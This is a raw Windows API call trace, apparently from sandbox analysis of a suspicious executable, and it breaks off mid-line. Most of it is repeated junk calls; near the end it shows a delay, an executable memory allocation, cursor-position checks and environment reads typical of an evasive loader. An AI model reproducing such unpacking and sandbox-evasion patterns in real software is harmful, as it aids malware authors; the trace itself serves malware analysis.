SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.723] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.723] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.723] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.723] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.723] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.723] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.724] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.724] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.724] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.724] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.724] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.724] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.724] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.724] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.724] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.724] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.724] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.724] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.725] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.725] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.725] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.725] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.725] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.725] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.725] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.725] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.725] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.725] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.726] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.726] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.726] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.726] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.726] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.726] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.726] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.726] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.726] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.726] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.726] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.726] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.726] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.727] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.727] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.727] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.727] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.727] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.727] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.727] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] LockResource (hResData=0x0) returned 0x0 [0025.728] GetSystemMetrics (nIndex=46) returned 2 [0025.728] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413a8 | out: hHeap=0x1f40000) returned 1 [0025.728] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41388 | out: hHeap=0x1f40000) returned 1 [0025.728] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41368 | out: hHeap=0x1f40000) returned 1 [0025.728] GetModuleHandleA (lpModuleName=0x0) returned 0xd0000 [0025.728] GdiplusStartup (in: token=0x4ae8f8, input=0x4ae96c, output=0x0 | out: token=0x4ae8f8, output=0x0) returned 0x0 [0025.742] GdipGetImageEncodersSize (numEncoders=0x4ae938, size=0x4ae92c) returned 0x0 [0025.743] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x537898 | out: encoders=0x537898) returned 0x0 [0025.744] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0025.744] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0025.744] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0025.744] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0025.744] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0025.744] Sleep (dwMilliseconds=0x7d0) [0027.747] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0027.747] VirtualAlloc (lpAddress=0x0, dwSize=0x15000, flAllocationType=0x3000, flProtect=0x40) returned 0xa0000 [0027.748] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Strolls") returned 0x16c [0027.748] GetCursorPos (in: lpPoint=0x4ae8f4 | out: lpPoint=0x4ae8f4*(x=814, y=451)) returned 1 [0027.748] GetCursorPos (in: lpPoint=0x4ae914 | out: lpPoint=0x4ae914*(x=814, y=451)) returned 1 [0027.748] OpenProcessToken (in: ProcessHandle=0x0, DesiredAccess=0x8, TokenHandle=0x4ae930 | out: TokenHandle=0x4ae930*=0x0) returned 0 [0027.748] GetEnvironmentStrings () returned 0x537ec0* [0027.748] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xbab) returned 0x102 [0030.743] GetCursorPos (in: lpPoint=0x4ae914 | out: lpPoint=0x4ae914*(x=814, y=451)) returned 1 [0030.743] OpenProcessToken (in: ProcessHandle=0x0, DesiredAccess=0x8, TokenHandle=0x4ae930 | out: TokenHandle=0x4ae930*=0x0) returned 0 [0030.743] GetEnvironmentStrings () returned 0x538430* [0030.743] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8) returned 0x1f41368 [0030.743] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x20) returned 0x1f41378 [0030.743] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x10) returned 0x1f413a0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.743] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.744] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) 